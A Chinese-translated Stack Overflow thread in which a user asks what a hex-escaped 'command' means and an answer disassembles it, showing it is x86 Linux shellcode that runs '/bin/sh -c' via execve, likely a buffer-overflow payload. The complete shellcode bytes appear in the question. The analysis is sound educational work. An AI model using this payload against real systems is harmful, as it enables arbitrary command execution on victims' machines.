【问题标题】:what is hex version of a command , what does it mean in reality , how is this done什么是十六进制版本的命令,实际上是什么意思,这是如何完成的
【发布时间】:2013-08-26 21:32:26
【问题描述】:

我注意到一个十六进制字符形式的命令,它说这是命令的十六进制版本(Linux),十六进制版本的实际含义是什么,我如何将其转换为人类可读的形式。 目前我知道:

  • \:作为转义序列
  • x:代表十六进制

该命令在下面列出...

"\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00"

但是我怎样才能把它转换成英文的原始命令,比如“XXXXXXXX”。

【问题讨论】:

  • 它应该是可执行文件吗? “命令”是什么意思?
  • 你在哪里找到这样的命令?另外,如果您在不理解它们的情况下随意复制粘贴命令,尤其是非人类可读的命令,请小心。
  • @CarlNorum , "command XXXX" 是一个例子,如何转换是个问题
  • @SudiptaChatterjee : k
  • @Kajal 你在哪里找到那个十六进制代码?通常在 Linux 中,他们将使用十六进制代码作为固件,将其加载到嵌入式设备等。

标签: linux binary linux-kernel hex


【解决方案1】:

我拿了那个二进制文件并通过hexdump -vCobjdump 运行它:

$ objdump -b binary -m i386 -D output 

output:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:   eb 3e                   jmp    0x40
   2:   5b                      pop    %ebx
   3:   31 c0                   xor    %eax,%eax
   5:   50                      push   %eax
   6:   54                      push   %esp
   7:   5a                      pop    %edx
   8:   83 ec 64                sub    $0x64,%esp
   b:   68 ff ff ff ff          push   $0xffffffff
  10:   68 df d0 df d9          push   $0xd9dfd0df
  15:   68 8d 99 df 81          push   $0x81df998d
  1a:   68 8d 92 df d2          push   $0xd2df928d
  1f:   54                      push   %esp
  20:   5e                      pop    %esi
  21:   f7 16                   notl   (%esi)
  23:   f7 56 04                notl   0x4(%esi)
  26:   f7 56 08                notl   0x8(%esi)
  29:   f7 56 0c                notl   0xc(%esi)
  2c:   83 c4 74                add    $0x74,%esp
  2f:   56                      push   %esi
  30:   8d 73 08                lea    0x8(%ebx),%esi
  33:   56                      push   %esi
  34:   53                      push   %ebx
  35:   54                      push   %esp
  36:   59                      pop    %ecx
  37:   b0 0b                   mov    $0xb,%al
  39:   cd 80                   int    $0x80
  3b:   31 c0                   xor    %eax,%eax
  3d:   40                      inc    %eax
  3e:   eb f9                   jmp    0x39
  40:   e8 bd ff ff ff          call   0x2
  45:   2f                      das    
  46:   62 69 6e                bound  %ebp,0x6e(%ecx)
  49:   2f                      das    
  4a:   73 68                   jae    0xb4
  4c:   00                      .byte 0x0
  4d:   2d                      .byte 0x2d
  4e:   63 00                   arpl   %ax,(%eax)
    ...
$ hexdump -vC output 
00000000  eb 3e 5b 31 c0 50 54 5a  83 ec 64 68 ff ff ff ff  |.>[1.PTZ..dh....|
00000010  68 df d0 df d9 68 8d 99  df 81 68 8d 92 df d2 54  |h....h....h....T|
00000020  5e f7 16 f7 56 04 f7 56  08 f7 56 0c 83 c4 74 56  |^...V..V..V...tV|
00000030  8d 73 08 56 53 54 59 b0  0b cd 80 31 c0 40 eb f9  |.s.VSTY....1.@..|
00000040  e8 bd ff ff ff 2f 62 69  6e 2f 73 68 00 2d 63 00  |...../bin/sh.-c.|
00000050  00                                                |.|
00000051

它看起来确实像某种程序。首先它跳转到偏移0x40,然后使用call 0x2 设置堆栈;然后是一堆操作,包括系统调用。程序数据似乎从偏移量0x45 开始并包含字符串"/bin/sh -c"

有问题的系统调用是#11 (mov $0xb,%al),根据this tablesys_execve。我猜它正在尝试运行一个shell。此代码是否旨在利用缓冲区溢出?

【讨论】:

  • 这听起来有道理,但我们还不知道这是否是 i386 可执行代码。
  • @PeterL。真的吗?一些随机数据是有效的 x86 其他类型代码的可能性有多大?
  • 其他机器架构的 hexcode 与 x86 混合的机会实际上很大。对于必须为嵌入式处理器加载固件的设备驱动程序尤其如此。该十六进制代码是为其他处理器预编译的,并且源代码通常不可用/专有。
  • 我从来没有听说过这样的事情。您是否有其他架构的二进制文件示例,可以将其反汇编为外观合理的 x86 代码?
  • 这是另一种 hexdump 格式(有几种不同的行业格式,我暂时记不起名字了):lxr.free-electrons.com/source/firmware/ti_3410.fw.ihex?v=3.9 我工作的一个 x86 驱动程序用于在通过 I2C 的 8051 处理器。该固件采用十六进制代码的形式,由 8051 编译器生成。我去寻找另一个类似的例子。
猜你喜欢
  • 1970-01-01
  • 2019-07-30
  • 1970-01-01
  • 1970-01-01
  • 2021-09-17
  • 2018-08-08
  • 1970-01-01
  • 1970-01-01
  • 2021-11-21
相关资源
最近更新 更多